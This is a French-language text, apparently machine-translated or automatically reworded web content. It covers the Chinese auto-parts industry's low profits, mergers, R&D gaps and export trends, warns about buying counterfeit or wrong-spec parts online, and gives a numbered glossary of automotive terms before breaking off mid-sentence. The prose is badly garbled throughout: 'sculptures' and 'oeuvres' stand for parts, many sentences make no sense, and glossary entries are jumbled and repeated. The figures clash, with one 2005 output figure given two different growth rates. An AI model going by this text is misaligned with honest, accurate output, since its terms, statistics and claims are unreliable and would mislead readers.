devenir une entreprise de morceaux de rechange bien connue.
les sociétés de pièces et de composants de véhicules utilitaires qui ont peinent à devenir grandes se battent encore à l’ère des faibles bénéfices.
Dans une certaine période, les fabricants de pièces automobiles sont tombés dans deux cercles difficiles à
éliminer : le protectionnisme local a provoqué la commercialisation individuelle des composants, la qualité de développement du marché est insuffisante et il est difficile de monter un effet d’échelle, de sorte que l’ensemble du
utilitaire La chaîne industrielle est dépourvue de pouvoir de décision et elle est complètement réduite à
une fonderie : les entreprises sont à prix
choc et ne prêtent aucune attention à la garantie de la propriété
intellectuelle, ce qui renforce le protectionnisme local.
Le deuxième cycle est que le contenu à faible technologie
entraîne des profits faibles, ce qui conduit aux fonds non viables
pour la R & D, ce qui entraîne à son tour un contenu technique faible.
En tant que base de l’industrie automobile, les
pièces automobiles sont des facteurs nécessaires pour soutenir
le développement durable et sain de l’industrie automobile.
notamment, l’industrie automobile actuelle connaît
une propagation ainsi qu’une innovation vigoureux et nécessite d’un système de composants puissant pour le soutenir.
le distributeur indépendante et l’innovation technologique de l’ensemble du véhicule reposent sur les
pièces et composants. L’innovation indépendante a un puissant moteur pour le
développement de l’ensemble du secteur automobile.
Elles sont mutuellement influentes et interagissent.
Il n’existe pas de marque indépendante de l’ensemble du véhicule ni de
système de pièces puissant. Il n’est pas facile
d’atteindre la capacité de recherche et développement et d’innovation,
car sans l’appui d’un système de composants solide,
il vous sera difficile de maintenir la marque qu’elle possède.
De janvier à décembre 2005, la Chine a réalisé une production industrielle
totale de 383 800 955 000 yuans, soit amélioration de 18, 67%
quant à la même période de l’année précédente et une augmentation de 20, 21%
quant à la même période de l’année précédente; Le bénéfice total accumulé était de 21 462 002
000 yuans, soit 9, 09% de moins que pour la
même période de l’année précédente.
C’est le dilemme cyclique auquel font face les sociétés chinoises de pièces
d’automobiles. et accessoires En 2010, le département chinois avec
des pièces automobiles a beaucoup progressé grâce au
développement rapide des constructeurs automobiles, ce qui nous permet de comprendre que les fabricants de pièces et les constructeurs automobiles doivent se développer de manière synergique :
développement simultané, support technique et adoption. Pièces automobiles domestiques, etc.
Si l’ensemble des constructeurs automobiles investit dans l’achat de pièces
et de composants étrangers, beaucoup de composants et pièces clés seront contrôlés par des pays étrangers,
ce qui entraînera de lourdes pertes professionnel nationales de pièces et
de composants. La solution à ce problème réside réellement que les entreprises de composants doivent renforcer leurs propres forces et
construire avec des oeuvres et composants
pour concurrencer les pièces étrangères. par exemple, les modèles réussis de pièces automobiles domestiques, tels que Fast,
Wanxiang, etc., sont tous fabriqués par quelques entreprises, mais la
qualité et le modèle des produits sont utilisés sur un grand nombre de modèles, contrairement à
de nombreuses entreprises de pièces étrangères.
Façons de rivaliser avec eux. pour débuter, les
entreprises nationales de pièces d’automobile
devraient travailler d’arrache-pied lorsque le pays met en place des politiques pour les soutenir et ne devraient pas se placer du état.
En termes de développement de produits, d’augmentation de
la puissance, d’expansion et secondaire du véhicule, nous avancerons régulièrement, faute de quoi il pourrait être
englouti par des entreprises étrangères.
Deuxièmement, les pièces et composants
étrangers présentent un risque et une qualité faibles, et les constructeurs automobiles nationaux achèteront d’importantes quantités, de
sorte que les agences nationales de pièces et de composants devraient également être performantes sur le
plan gestion et de qualité, alias d’autres n’oseraient pas placer.
Utilisez votre produit. l’œuvre d’art s’étend également de l’extension des composants traditionnels aux composants essentiels
de la nouvelle énergie, autrement les capitaux étrangers occuperont
d’autres composants essentiels, puis l’imitation des autres
aura un influence très négatif sur leur propre développement, de façon que la qualité des produits est très importante.
Pour le développement de l’industrie des filtres et des plaquettes de frein, le volume
d’entreprises nationales est encore très bon dans une bonne
période, notamment dans l’industrie des filtres.
La Chine possède davantage de voitures, de sorte que le marché des consommables est aussi très vaste.
Les coûts de réalisation et les volumes de recherche et de
développement ne posent aucun problème, principalement en termes de qualité.
Nous devons prêter plus d’attention et faire bon usage de nos avantages
et de notre qualité pour que les utilisateurs puissent être
rassurés. en 2011, l’activité générale sur le plan développement de l’industrie automobile chinoise reste optimiste
et devrait augmenter d’environ 10%. Cependant, il y a également des facteurs défavorables : à titre d’exemple, les politiques préférentielles
de 2010 seront annulées à la longue de l’année et
le marché du logement et le marché boursier ne sont effectivement pas très bons.
de ce fait, certains craignent que les modifications apportées à
la politique achètent soudainement automobile ou alors des freins,
ce qui entraînera amélioration de 30% à 40% en 2010. Objectivement,
l’industrie automobile chinoise deviendra plus rationnelle en 2011.
Si l’augmentation annuelle de 30% à 50% n’est pas raisonnable, elle rencontrera souvent des problèmes imprévisibles si elle se renforce trop rapidement et les entreprises devraient progressivement Vers la formalisation et le cadrage.
Problème de vente online de Question 1 : Apportez vos propres accessoires d’achat
et faux ‘ Regardez, les étiquettes sur les deux pots d’huile
sont imprimées par le mot ‘ authentique ‘,
mais la vraie huile laisse tomber un brin d’eau sur l’appellation ‘ authentique ‘.
les deux mots disparaîtront et ne seront pas vus. Après séchage, ils réapparaîtront.
il n’y a pas beaucoup de différences dans la fausse huile.
‘ il y a beaucoup d’amis qui achètent de la fausse huile.
le maintien de l’huile est directement liée
à la longévité du moteur. M. Lin n’a pas osé s’en soucier.
Il a dû abandonner les produits du centre de beauté à prix cassé..
Question 2 : il est aisé de rencontrer des accessoires hors spécifications.
un dysfonctionnement majeur grâce aux pièces automobiles après les achats en ligne est que beaucoup d’entre elles ne sont
effectivement pas conformes aux spécifications. grâce à la grande variété de produits de pièces d’automobiles,
les consommateurs ordinaires ne savent pas quelles
spécifications s’appliquent à leurs modèles, et
ils sont souvent achetés en ligne conformément aux directives
du e-commerce. après avoir reçu la marchandise, la boutique physique a dû être réparé, mais
on m’a répété à plusieurs reprises qu’il était hors spécifications.
Dans les achats d’accessoires automobiles en ligne qui sont sujets à des spécifications inférieures aux normes,
la plupart avec des oeuvres automobiles sont également causées via le professionnalisme des
accessoires automobiles. pendant l’introduction de magasins physiques apparentés, tels que des essuie-glaces, des phares, des filtres à huile,
des pneus voire des bandes d’intérieur de voiture, des couvre-sièges, etc., se sont se sont révélés dans de mauvaises spécifications.
une multitude de propriétaires d’automobiles ne peuvent souvent
pas trouver les mauvaises spécifications lors de la première réception des marchandises, ce qui a également entraîné plusieurs épreuves et des
rebondissements dans la demande de retour ultérieure.
Précautions Ne faites pas confiance à la boutique Pour de nombreux ateliers de réparation automobile, si le propriétaire
fournit des accessoires à réparer et à entretenir, le fait de ne payer que longtemps de travail ne génère aucun bénéfice.
de ce fait, l’atelier de réparation automobile juge le bon ou le faux ou les spécifications des accessoires propres au propriétaire, pouvant ne pas être complètement crédibles.
pas facile à bricoler et accessoires durables recommandés pour choisir un magasin physique Dans une
certaine période, certaines produits d’achat en ligne sont principalement des housses de siège, des coussins,
des logos de voiture, des parfums de voiture, des
déodorants de l’auto, etc. Si la voiture achète
principalement des accessoires professionnels, elle est plus
prudente. Ok Tendance de développement de Depuis longtemps, les pièces automobiles
chinoises souffrent de guerres de taux et d’inflation, pour résoudre ces problèmes, nous devons non seulement améliorer notre niveau technique pour
augmenter la valeur ajoutée des produits dans l’optique de résister au taux de change et à l’inflation, mais également
envisager l’avenir à long terme., saisissez la pratique future avec des pièces d’automobile et assurez-vous
de l’embarras. Du point de vue d’une certaine période, il existe quatre grandes tendances dans le développement des oeuvres automobiles en Chine :
1. Le transfert industriel international s’accélère
et les fusions et acquisitions sont actives. dans à l’ère considérée, la plupart des fabricants nationaux de pièces automobiles
ont enregistré des ventes inférieures à celles des
géants multinationaux dont le chiffre d’affaires atteignait 10 milliards de dollars américains.
de plus, les exportations manufacturières chinoises ont
toujours été réputées pour leurs prix bas : pour restreindre efficacement les coûts d’écriture, les grandes
multinationales ont non seulement transféré leur production vers des pays et des régions à faibles coûts, mais ont également étendu
leurs activités à la RD, à la conception et à la
passation des marchés. dans le secteur des ventes et du service client, l’ampleur du transfert devient désormais grande et maintenant importante.
En 2010, de nombreuses sociétés multinationales ont établi des usines en Chine
par coentreprises et d’autres moyens. Pour que les entreprises
nationales de pièces et de composants aient leur
place dans la future concurrence internationale,
le meilleur moyen est de constituer un clan d’entreprises de pièces
et de composants aigu par le biais de fusions et d’acquisitions.
La fusion et la réorganisation de sociétés de composants est plus urgente que le
camion jusqu’aux oreilles : en l’absence d’importantes entreprises de pièces et de composants, le coût ne sera pas supporté, la
tenue n’est pas améliorée et le développement de l’ensemble du secteur sera extrêmement difficile.
Dans le contexte de la petite taille, de
la faiblesse de la force et des capacités de recherche et développement insuffisantes des societes nationales
de pièces et composants, si l’industrie avec
des sculptures veut se développer rapidement, elle
doit accélérer les fusions et acquisitions et créer un effet
d’échelle. 2. Les fabricants de pièces automobiles mettent
en œuvre activement le développement systématique, la
fabrication modulaire et l’approvisionnement intégré.
la renommée du développement d’un cluster de l’industrie
des sculptures automobiles sont évidentes. Du opinion du développement de l’industrie des
sculptures d’automobile dans les principaux pays producteurs d’automobiles,
le développement du pôle industrie des oeuvres occupe une position identique à celle du développement de l’ industrie automobile :
pour devenir plus important et plus puissant,
il doit ensuite devenir un pôle industriel.
Choix stratégique. Les constructeurs automobiles utilisent des stratégies de
plate-forme pour le développement de produits. Le développement systématique, la fabrication modulaire et la fourniture intégrée sont
progressivement devenus l’activité du développement du secteur des oeuvres automobiles.
Dans le même temps, la qualité du développement des grappes dans l’industrie
des sculptures automobiles sont de plus en plus évidentes.
3. Les achats mondiaux de pièces automobiles vont devenir un certain style,
mais bientôt, la Chine continuera à exporter et à s’internationaliser.
Parallèlement aux changements intervenus dans le produit organisationnelle du marché avec des sculptures automobiles,
de plus de plus de constructeurs automobiles mettront en œuvre l’approvisionnement mondial en pièces et composants.
L’immense industrie manufacturière chinoise et la
renommée de haute qualité et de prix bas ne devraient pas
changer dans un court période, de façon que les pièces automobiles
continueront à être dominées par les exportations et l’internationalisation. au cours d’une certaine période, les clients internationaux sont
désormais rationnels et pratiques dans les achats de la Chine, en sélectionnant et en formant les principaux
fournisseurs potentiels, en renforçant leur propre intégration logistique,
en renforçant la comprehansion avec les usines étrangères du
pays dans l’optique de renforcer l’enthousiasme de ceux-ci pour
les exportations; Les destinations, comparées à vos alter ego marchés émergents,
déterminent l’emplacement des achats et d’autres moyens de promouvoir le processus d’approvisionnement chinois.
Selon l’analyse, en apparence les clients
internationaux soient maintenant prudents face aux achats
de la Chine, pendant la future décennie, les exportations et l’internationalisation resteront la thématiques principal des fabricants de pièces locaux chinois.
Les principales raisons sont : 1 ) Les pièces automobiles sont un secteur mondial
: il est inévitable que les différents fournisseurs chinois
se sensibilisent au rythme du développement international certaines
entreprises ayant déjà goûté aux résultats des achats internationaux
ont émis un signal plutôt positif; 2 ) les entreprises chinoises de pièces et composants, notamment les
contrats en utilisant les fournisseurs de pièces du marché auxiliaire, sont
maintenant cruelles dans leur environnement concurrentiel et l’internationalisation sera l’un des principaux moyens de différenciation; 3 ) Après quelques temps de croissance rapide, les fabricants d’appui concernés ont atteint une échelle par ailleurs
d’un milliard d’euros et connaissent une bonne expansion de leur puissance économique à l’international; 4 ) Les capitaux / coentreprises étrangers augmenteront également leurs efforts d’exportation pour
faire de la Chine un véritable centre manufacturier, formant ainsi un cercle vertueux.
4. la tendance de développement technologies de pièces
automobiles. Le développement technologies pour les pièces automobiles présente les grandes tendances suivantes :
aller plus loin dans développement, généralisation et normalisation croissantes des composants, composants électroniques et intelligents recrudescent, allégement de véhicules complets et de composants
deviennent la tendance future du développement; La technologie conservatoire de l’environnement
reste le summum de la concurrence industrielle future.
Pendant une bonne période, le département avec des pièces automobiles en Chine présente encore
de nombreuses lacunes, telles qu’une base industrielle médiocre, une structure déraisonnable, un manque de recherche et développement et le manque de marques renommées, autant de problèmes courants.
lors de la période du onzième plan quinquennal,
la Commission nationale du développement et
de la réforme a pris comme objectif prioritaire l’amélioration de la
compétitivité de l’industrie avec des sculptures pour véhicules automobiles.
Maintenant que le 12ème plan quinquennal est en train d’arriver, les fabricants de pièces automobiles doivent
encore améliorer leur compétitivité. Fusion et réorganisation de front à
la concurrence du secteur, Pieces auto à tarif réduit la région avec des oeuvres automobiles doit accélérer la
cadence des fusions et acquisitions industrielles.
S’il n’y a pas d’importantes entreprises de composants et de
pièces détachées, les pièces automobiles chinoises n’auront pas
la réglementation de s’exprimer à l’échelle internationale et les coûts d’achat
ne viendront pas. les agences nationales de composants sont de petite
taille, peu développées et peu développées en capacités de recherche et de développement :
dans ce contexte, si l’industrie avec des oeuvres souhaite se développer
rapidement, elle doit accélérer les fusions et acquisitions et réaliser des
économies d’échelle. durant la période du onzième plan quinquennal, la fusion et la réorganisation des constructeurs automobiles ont créé des conditions et des références utiles pour la mise
en œuvre de l’intégration et de l’optimisation industrielles des etablissements de pièces et composants.
les sociétés de composants devraient examiner les choses et s’adapter à l’activité et
au caractère inévitable du développement industriel Former une coopération ainsi qu’une
alliance pour améliorer le niveau de spécialisation et l’ampleur.
Augmentation de la recherche et du développement de Les institutions concernées ont appris que les principales entreprises de composants chinois figurant dans le classement avec des pièces et composants de R &
D sont rares et rares dans le top 44. Face aux énormes investissements en R & D des
multinationales du marché avec des sculptures détachées, les constructeurs nationaux doivent être
conscients de l’existence de la hausse des taux d’interets et pallier le plus rapidement possible les carences de la R & D.
conformément à l’activité actuelle en matière de développement de systèmes et
de modularisation, les fabricants de composants devraient établir des
partenariats stratégiques à long terme en utilisant les constructeurs automobiles, en commençant par mettre en place un dispositif
d’approvisionnement en pièces détachées pour les véhicules de
marques indépendantes. Partant des véhicules commerciaux
et des véhicules de tourisme économiques, nous participons activement au développement de produits des constructeurs
automobiles, intégrons des ressources de pièces et composants pertinentes,
améliorons continuellement le niveau de développement
des composants de système et établissons et améliorons
progressivement des équipements de rédaction de pièces et des équipements
de normes de services pour former des oeuvres et des composants.
Prise en charge modulaire systématique. À cet égard, le ministère
devrait fournir un soutien politique aux PME. sortent Dans une certaine période, certaines entreprises nationales d’automobiles et de pièces
détachées sont parties à l’étranger. La stratégie des societes chinoises de
pièces d’automobile visant à améliorer leur puissance technologique par l’intermédiaire de acquisitions à l’étranger et à rompre la maîtrise des technologies clés et des conditions du secteur
par les agences à financement étranger est maintenant évidente.
Langue des 1 cartouche de charbon activé ACC Système d’identification automatique
de voiture 2 ACI 3 voiture à coussin d’air 4 voiture à
refroidissement par air voiture à refroidissement par air, voiture à refroidissement par air, voiture à refroidissement par air (
voiture avec moteur à refroidissement par air ) 5 cartes perforées APC la suppression automatique des interférences
de l’ASU pour les autoradios supprime les bruits d’allumage dans la bande FM.
Le circuit peut être ajouté à l’autoradio pour supprimer les interférences d’allumage ( bruit ) haute tension. 7 voitures de bébé, mini-voitures ( voitures américaines,
= mini voitures, voitures de cycle, voitures miniatures ) ; voiture de bébé 8 reflux
dans la trempe du carburateur ( = explosion dans le carburateur ) 9 fourgons à bagages 10 porte-patins de frein 11 porte-balais 12 Entretien et maintenance C & M Réparation et entretien 13 C.
CARB carburateur conventionnel carburateur conventionnel 14 parking du CP ( arrêt
) Report de 15 C / O 16 wagons d’inspection de câbles Antenne de voiture 17 antenne de voiture ( = antenne
automobile ) Système antivol de 18 alarmes de voiture 19 antenne
de voiture antenne de voiture, antenne de voiture, antenne de voiture Carrosserie de 20 voitures berline Réparateur
/ réparatrice de voiture 22 ordinateur de navigation automobile Ordinateur de
navigation automobile, ordinateur de navigation automobile 23 parking Parking, parking 24
voiture suspense de réparation Ligne de serpent voiture 25 wander voiture 26 station de lavage
de voiture, station de lavage de voiture 27 lave-auto industrie du lave-auto 28 lave-auto équipement de lave-auto, machine à laver les voitures, machine à laver les
rues Service de lavage de voiture 29 salle de
lavage de voiture, pièce de nettoyage de véhicule Installation de lavage 30 voitures installation de lavage 30 voitures 31 installation de lavage de voiture Equipements de blanchisserie, équipement de lavage de
voiture 32 lave-linge 33 voiture avec ascenseur avec chariot élévateur 34 berline à quatre roues indépendantes,
suspension indépendante à quatre roues Carburateur 35 carburateur, vaporisateur ( abréviation de carburateur ) 36
CARB 1. Carburateur 2. Carbonisation, carbonisation 37 carb carburateur réglage, réglage du
carburateur 38 CARB California Air Resources Board Office des ressources aériennes de Californie 39 carb carburateur
carburateur, vaporisateur 40 carton, carton 41 carbone carbone ( code C ) ; tige de carbone,
brosse, graphite, dépôt de carbone, couche de carbone 42
électrodes de carbone électrodes de carbone 43 monoxyde de carbone monoxyde de carbone ( CO ) 44 test de carbonisation 45 CARE émissions réglementées moyennes des societes CARE Quantité moyenne
d’émissions nocives spécifiée par l’entreprise 46 programme recherche automobile coopération CARP Voiture 47 CARR 48 CARR carrier
Véhicule, transporteur 49 transport véhicule, cadre, support, support ( machine-outil
) chariot; partie coulissante de la machine;
socle, châssis; dispositif porteur, transporteur; transport,
fret 50 carrosserie 51 Système de routage assisté par ordinateur
CARS Système de sélection de ligne assisté par ordinateur ( dans
le réseau de transport ) 52 CART carton Stock de cartes 53 Cartouche, boîtier,
mandrin, mandrin; siège; manchon; noyau de filtre ( filtre ) ;
film ( photo ) ; support 54 fusible de la cartouche Fil de fusible,
fusible 55 cartouches 56 CAT température de carburateur température de
carburateur 57 chlorofluorocarbures CFC chlorofluorocarbures ( réfrigérants à base de fluor ) 58 CFRC matériau de friction en fibre de carbone Plastique renforcé de fibres
de carbone 59 CFRP Charge de voiture 60 CL 61 Commande de carburateur à boucle
fermée CLCC Commande de carburateur à boucle fermée 62 CO monoxyde
de carbone monoxyde de carbone 63 dioxyde de carbone CO2 64 Indice d’émission de monoxyde de carbone COEI Indice d’émission de monoxyde de carbone Méthode de chargement
de camion à plate-forme 65 COF pour wagon plat, méthode de transport de conteneur sur camion horizontalement 66 voiture
décapotable 67 voiture COTY de l’année la voiture de l’année ( populaire ),
l’auto de l’année 68 voiture post CP Parking
Tapis 69 CPT 70 retour chariot utilitaire utilitaire utilitaire commercial 71 CUCV Camion polyvalent utilitaire léger Moteur DCCSC
aggravant stratifiée et carburateur à chambre divisée 72 Carburateur à membrane 73 carburateur à membrane 74 voiture de
tourisme à moteur diesel Diesel ( voiture de tourisme )
Boîtier différentiel à porteuse 75 ( = boîtier différentiel, boîtier différentiel ) 76 démontage d’une affaire à une unité Pièces démontées d’un appartement, voiture démontée pour l’installation 77
chariot de forage 78 ECC carburateur à commande électronique carburateur à
commande électronique 79 ECC-CU ( unité de
commande ) unité achat de carburateur à commande électronique unité achat de carburateur à commande électronique 80 Carburateur fecdback électronique EFC Carburateur
à contrôle électronique ( l’ordinateur ajuste automatiquement le rapport
air-carburant en fonction du signal du capteur d’O2 dans le tuyau d’échappement ) 81 EFC carburateur à
commande électronique à carburant carburateur à commande électronique de carburant 82 Indice d’émissions de carbone
EIC Indice d’émissions de carbone 83 carburateur à commande électronique, carburateur
à commande électronique ( ECC ) 84 unité achat de carburateur à
commande électronique Régulateur électronique pour carburateur à commande électronique
( unité de contrôle ECC ) Carburateur à émissions 85 Carburateur anti-pollution 86 arbre de transmission fermé,
arbre de transmission fermé ( = arbre de transmission enveloppé ) 87 Hydrocarbures EOHC à moteur épuisé 88 explosion dans la trempe du carburateur carburateur ( tir ) 89 explosion dans le revenu du
carburateur du carburateur ( = retour de flamme dans le
carburateur, retour de flamme, refoulement )
Arbre de cardan de type ouvert à 90 arbres apparents,
de type ouvert 91 voiture à hayon rapide 92 FBC carburateur à rétroaction Carburateur à flotteur
93 94 flotteur de carburateur carburateur, flotteur Bogie avant 95 ( remorque ) avant décapotable quatre portes 96
97 Voiture à quatre pneus Voiture à quatre pneus ( un camion qui peut continuer à rouler après avoir été percée par un modèle pointu ou par une seringue, de sorte que le pneu de remplacement n’est plus nécessaire ) Voiture
à traction avant Berline à traction avant ( appelée voiture à traction avant
) Une berline fonctionnant à 99 voitures à pile
à combustible ( Mercedes-Benz est venu présenté la 1ère berline au monde à
berline à hydrogène à Berlin le 14 mai 1996, en passant une réaction particulière
au méthanol dans l’automobile, générant H2 et CO2, puis introduisant H2 dans une batterie polymère,
réagissant avec l’air sous l’action d’un catalyseur pour créer de l’H2O et du courant,
entraînant le véhicule avec du courant ) Voiture à traction avant
101 voiture polyvalente Voiture universelle, voiture polyvalente, voiture polyvalente, voiture polyvalente ( comme la berline Beijing Cherokee
à traction intégrale ) 102 GPC verre carbonate polycarbonate verre composite composite 103 GT voiture de tourisme superbe
automobile Autocar à grande vitesse de prestige pour
voitures de tourisme 104 GT Ratio hydrogène / carbone du carburant 105 H / C Le ratio hydrogène-carbone de
( hydrocarbure ) dans le carburant Ratio 106 H / C hydrogène / carbone ( hydrocarbure ) hydrogène sur carbone 107 HC hydrocarbure hydrocarbure 108 H-Carb Hitachi
2Bbl carburateur ( Hitachi, Japon ) carburateur en double empreintes 109 Indice d’émissions d’hydrocarbures HCEI Indice d’émissions d’hydrocarbures Acier 110 HCS à haute teneur en carbone Acier
à haute teneur en carbone 111 HCSHT traité à haute
teneur en carbone à traitement thermique 112 carbure de silicium
pressé enthousiasmé HPSiC 113 IFC carb carburateur à commande de carburant intégré carburateur à huile achat intégrée 114 porte-outils Porte-machine, cadre universel 115 tableau
de bord ( = cokpit ) 116 plaque porte-instruments ( = cokpit ) Carton isolant en carton isolant 117 118 voiture intelligente Voiture intelligente, voiture sans conducteur, voiture intelligente
( utilisant la technologie informatique, la technologie électronique,
la technologie de l’information, de sorte que l’auto puisse emprunter le meilleur itinéraire et
les meilleures conditions, et qu’elle soit conduite sur une route automatique, Conduite automatique ) 119
dispositif de communication radio intercar entre véhicules,
dispositif de communication radio d’atelier 120 CITP indiqué monoxyde de carbone spécifique, indiquant le taux d’émission de monoxyde de
carbone en chevaux-vapeur ( quantité ) 121 Championnat international d’automobiles de tourisme ITC Champion de
voitures du tourisme international ( Tour ) Carburateur
de pulvérisation 122 jets Voiture démontée 123 KDC Voiture assemblée
sur place, voiture assemblée localement 124 KDCL abattent des wagons chargés de marchandises en vrac 125 porte-bagages ( à
l’intérieur ), porte-bagages, bagagiste ( = porte-bagages ) 126 porte-lampe 127 LTL
de chargement partiel ( chargement ) 128 doublure de carrosserie 129 porte-charge,
charge, charge 130 berline à empattement long 131 porte-bagages 132 extension du
porte-bagages ( voiture ) extension du porte-bagages 133
capacités de transport de bagages, capacité de bagages ( = capacité de bagages ) Carburateur amélioré 134 M.
CARB carburateur amélioré 135 carburateur principal
carburateur principal 136 voiture contrôlée par microprocesseur Voiture
de contrôle de micro-ordinateur ( désigne généralement l’allumage, l’injection de carburant et l’automobile
à roue d’engrenage de micro-ordinateur ) 137 mécanicien automobile ( mécanicien automobile ),
technicien automobile, mécanicien automobile ( =
mécanicien automobile ) 138 phares de phare d’ automobile ( =
phare d’automobile ) 139 klaxon de voiture klaxon de voiture, klaxon de voiture 140 propriétaire de voiture propriétaire
de voiture 141 radio d’autoradio autoradio ( également
appelée ensemble d’auto ) 142 atelier automobile, atelier de réparation automobile, atelier de réparation automobile, station de
réparation automobile 143 jante de voiture jante de voiture, jante de voiture 144 autoradio (
= autoradio, autoradio, récepteur de voiture, autoradio, récepteur de voiture ) 145 porte-charge monté 146
multicylindres voiture moteur multicylindres voitures 147 carburateur à injecteurs
multiples carburateur à injecteurs multiples ( réfère au carburateur ainsi que l’injecteur principal, il existe des injecteurs auxiliaires pour
s’adapter à la vitesse élevée, à l’accélération et à d’autres conditions ) 148 carburateur multi-gorge carburateur multi-chambres ( = multibarrel, carburateur ) 149 NFB carburateur
carburateur 150 Nissan Bluebird voiture Nissan Bird Blue Car ( Japon ) En 1992, Nissan introduisit
deux Bluebirds de carrosserie différentes, ARX-G, SSS-G, équipées d’un moteur 4 cylindres,
d’une cylindrée de 2000 ml, d’une puissance maximale de 107kw, de la traction avant, Affichage
de la vitesse de conduite et des instructions pour une conduite en toute sécurité dans
l’endroit supérieur gauche du pare-brise ) 151 Nissan voiture Nissan Figaro Figaro voiture ( voiture compacte Nissan japonais lancé
en 1991. SACT équipé d’ un moteur turbocompressé,
387 ml de déplacement, la puissance maximale de 56 kW,
transmission automatique, capote pliable ) 152 NMHC hydrocarbures non méthaniques (
émission ) hydrocarbures non méthaniques ( émission ) 153
support de pompe à huile carter de pompe à huile, support
de pompe à huile, chariot de pompe à huile 154 voiture à sens unique Voiture
jetable, voiture pas chère, voiture excellent
155 voiture orthodoxe voiture traditionnelle, voiture
orthodoxe, voiture ordinaire, voiture de tourisme 156 HAP hydrocarbures aromatiques polycycliques ( moteurs
) hydrocarbures aromatiques polycycliques ( émissions ) 157 HAP hydrocarbures aromatiques polycycliques
( moteurs ) hydrocarbures aromatiques ( émissions ) Jante de voiture pour 158 passagers 159
châssis de voiture 160 châssis transportant des passagers Châssis de phaéton ( généralement appelé châssis d’autobus )
161 PC polycarbonate Polycarbonate 162 hydrocarbures aromatiques polycycliques
PCAH 163 voiture électrique à essence véhicule électrique
à essence 164 PGM-CARB carburateur programmable,
carburateur commandé par ordinateur 165 support de segment de
piston montage dans la gorge de segment de piston ( = support de segment
) 166 porte- satellites porte – satellites 167 porte-satellites 168 porte-engrenages
planétaires 169 porte-pignon planétaire ( porte-avion ) 170 sauts dans
le retour de carburateur du carburateur ( retour du carburant dans le carburateur,
retour rapide ) 171 voiture chic la plus belle voiture (
anglaise ), voiture de prestige 172 premier constructeur automobile Premier constructeur automobile, le premier
constructeur automobile 173 carburateur primaire carburateur primaire, carburateur principal ( sauf pour les
vitesses élevées et utilisation intensive du carburateur secondaire, les autres conditions de travail courantes utilisent le carburateur
primaire, également appelé côté primaire ) 174 RC voiture
électrique voiture à combustion rotative Voiture arrière motorisés arrière 175, voiture motorisés arrière
176 direction arrière de l’automobile 177 voiture remoulée;
voiture modifiée; voiture modifiée 178 véhicule achat
de volant à droite avec volant hue, véhicule avec conduite à droite ( pour le continent
conduisant à gauche = voiture avec conduite à droite ) 179 outil de suppression du carbone dans
les muqueuses de piston de la gorge de piston de la bague de retrait de 179 180 barre de toit carline ( fourgon en bois ) poutre horizontale, poutre en arc 181 sécurité voiture voiture
de sécurité ( en référence à la collision, l’équipage ne
souffrira pas automobile de dommages importants sur une période donnée à un stade expérimental ) Voiture ordinaire 182 berline ( berline à deux rangées,
pas de cloison avec d’une part le siège du conducteur et
le passager, = voiture fermée, appelée berline,
appelée berline aux États-Unis ) 183 voiture de ferraille, voiture de ferraille 184 cartouche d’étanchéité 185 carburateur
secondaire carburateur secondaire, carburateur secondaire ( deuxième étage
du carburateur en duo étages utilisé à haute vitesse
et forte charge, également appelé côté secondaire ) 186 berline berline,
berline 187 chariot pôle semi – remorque pôle remorque Fluide hydrocarboné synthétisé 188 SHF 189 bus touristique,
voiture touristique 190 SISIC carbure de silicium fritté par rapport fritté par rapport 191 voiture solaire voiture solaire, voiture solaire ( = voiture fonctionnant à l’énergie solaire ) Sonic-bec
de carburateur de 192 sonic-carburateur de carburateur 193 porte roue de secours 194 voiture spéciale
voiture spéciale ( voiture spéciale, telle qu’une voiture de révision, une
voiture de promesse ) 195 support de ressort de feuille
de support Support à ressort de bras porteur 196 197 carbure de silicium SSIC fritté sans pression 198 voiture à vapeur voiture à vapeur, le moteur à vapeur voiture 199 voiture à vapeur, voiture motorisés à vapeur 200
voiture huit cylindres en ligne 201 voiture simplifiée voiture simplifiée 202 tramway détecteur de tramway 203 SU carburateur, union skinner
SU carburateur 204 sous-porteuses 205 voitures sous-compactes
Voitures ordinaires, petites voitures ( cylindrée supérieure à IL et inférieure ou égale à 1,
6 L ) 206 super car Super car, super car ( particulièrement, un camion avec un moteur à taux de compression élevé utilisant de l’essence avancée ) 207 supercarburize pour faire un véritable tsunami du mélange 208 voiture suralimentée (
turbine d’échappement ) voiture suralimentée 209
cuve du carburateur électrovanne SV-CBV évent de ventilation cuve du carburateur électrovanne 210
voiture de télévision 211 THC total d’hydrocarbures
Quantité totale d’hydrocarbures ( émissions ) Cabine inclinable avant 212 ( cabine inclinable ) 213 tracteur de remorque, remorque;
véhicule de remplacement remorqué le semi remorque défectueux ( = dépanneuse ) 214 TPHC tuyau d’échappement tuyau d’échappement
tuyau d’échappement 215 roue porteuse de voie
( = roue porteuse, roue de voie supérieure ) Éliminateur
de voie de roue de scarificateur 216 pistes 217 voitures à chenilles véhicules à chenilles, véhicules à chenilles 218
support de coffre a bagages, porte-bagages 219 carburateur carburateur double guichet, carburateur double résistance 220 carburateur à double
buse carburateur 221 voiture à deux portes, berline en double portes ( une porte
de chaque côté ) 222 UBHC hydrocarbures non brûlés
( dans le moteur ) hydrocarbures non brûlés 223 sous le train; train d’atterrissage; train d’atterrissage, support inférieur, partie mobile ( véhicule ) ( véhicule )
224 voitures, berline carrossée ( carrosseries intégrées,
voitures unitaires, voitures unitaires, voitures monocoques ) 225 carter de l’ essieu porteur du type monocoque carter d’essieu monobloc ( l’ unité d’engrenage de
boîtier et l’histoire d’enveloppe d’essieu intermédiaire est
intégralement moulé, pressé dans tous deux extrémités du tube en acier sans soudure,
qui est soudé avec un bouchon et une part intermédiaire soudée ) Moteur universel
pour petites voitures 226 USE Moteur universel
pour petites voitures 227 carburateur à vaporisation (
t ) ou carburateur à évaporation, carburateur à vaporisation Carburateur à gorge active 228
à section variable, carburateur à section variable ( = carburateur à venturi variable ) 229 carburateur à gorge
variable carburateur à gorge variable ( carburateur à
venturi variable ) 230 voiture à stabilité variable ( pour le test ) voiture stable
231 carburateur à gorge variable, carburateur à gorge active Voiture à caractéristiques variables 232
VCC Voiture de recherche variable 233 VRC Tuyau variable de 234 VTVvariable-venturi
( carburateur ) ( carburateur ) 235 VV 236 WC avec précaution ( marque de chargement ) 237 poids de la voiture ( abréviation WOC ) 238 voiture
mobile avec radio 239 WOC de l’auto 240 WORKCAP capacité de travail de charbon de
bois 241 WTCARB Poids de charbon actif requis Demande de charbon activé Conseils d’achat tout
d’abord, voyez si le logo de l’entreprise est complet.
la tenue de l’emballage extérieur du produit authentique est bonne,
l’écriture sur la boîte est claire et la coloration de la
